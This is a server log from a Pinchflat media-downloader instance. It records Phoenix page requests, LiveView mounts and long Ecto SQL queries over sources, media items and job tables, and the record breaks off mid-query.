22:59:46.164 [debug] Replied in 4ms 22:59:46.164 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "RaVlCwNfvB5OJqQdZTM82Ht2"} 22:59:46.164 [debug] QUERY OK source="tasks" db=0.1ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:59:46.164 [debug] Replied in 288µs 22:59:50.425 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:59:50.426 [debug] QUERY OK source="media_items" db=0.5ms idle=701.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:59:50.427 [debug] QUERY OK source="media_items" db=1.0ms idle=443.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 22:59:50.428 [debug] QUERY OK source="sources" db=0.2ms idle=444.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:59:50.428 [debug] Replied in 2ms 22:59:54.826 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:57.175 [info] GET /sources 22:59:57.175 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 22:59:57.175 [debug] QUERY OK source="settings" db=0.1ms idle=1192.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:59:57.175 [debug] QUERY OK source="settings" db=0.0ms idle=1192.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:59:57.176 [debug] QUERY OK source="settings" db=0.0ms idle=1193.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:59:57.176 [debug] QUERY OK source="settings" db=0.0ms idle=1193.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:59:57.176 [debug] QUERY OK source="settings" db=0.0ms idle=445.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:59:57.178 [debug] QUERY OK source="sources" db=1.6ms idle=0.8ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:59:57.180 [debug] QUERY OK source="sources" db=2.2ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:59:57.181 [info] Sent 200 in 6ms 22:59:57.245 [info] CONNECTED TO Phoenix.LiveView.Socket in 14µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Ghc1BzoNfiMFIAAuBjkVUD1nfVlaPjBtHvckyz0Esb5aLHD4g30ahvD_", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://tubedock.hartupee.com/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://tubedock.hartupee.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:59:57.251 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "RaVlCwNfvB5OJqQdZTM82Ht2", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 22:59:57.253 [debug] QUERY OK source="sources" db=1.8ms idle=75.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:59:57.255 [debug] QUERY OK source="sources" db=1.9ms idle=77.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:59:57.255 [debug] Replied in 4ms 22:59:59.084 [info] GET /sources/1 22:59:59.084 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:59:59.084 [debug] QUERY OK source="sources" db=0.2ms idle=351.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:59:59.084 [debug] QUERY OK source="media_profiles" db=0.0ms idle=101.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:59:59.085 [debug] QUERY OK source="tasks" db=0.1ms idle=102.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 22:59:59.085 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=102.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [446, 31] 22:59:59.085 [debug] QUERY OK source="settings" db=0.0ms idle=102.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:59:59.085 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:59:59.086 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:59:59.086 [debug] QUERY OK source="sources" db=0.0ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:59:59.087 [debug] QUERY OK source="media_items" db=0.9ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:59:59.088 [debug] QUERY OK source="media_items" db=0.9ms idle=2.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:59:59.089 [debug] QUERY OK source="sources" db=0.0ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:59:59.089 [debug] QUERY OK source="media_items" db=0.1ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:59:59.089 [debug] QUERY OK source="media_items" db=0.5ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:59:59.090 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:59:59.091 [debug] QUERY OK source="media_items" db=0.8ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:59:59.092 [debug] QUERY OK source="media_items" db=0.9ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:59:59.092 [info] Sent 200 in 8ms 22:59:59.158 [info] CONNECTED TO Phoenix.LiveView.Socket in 15µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "FwUJI3ENPRQcM2QuBTs4FBETeGdVJSZFEd_O2zsrjqQaOJipKG5_gmRw", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://tubedock.hartupee.com/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://tubedock.hartupee.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:59:59.164 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "RaVlCwNfvB5OJqQdZTM82Ht2", "media_state" => "pending", "source_id" => 1} 22:59:59.164 [debug] QUERY OK source="sources" db=0.1ms idle=74.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:59:59.165 [debug] QUERY OK source="media_items" db=0.8ms idle=74.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN 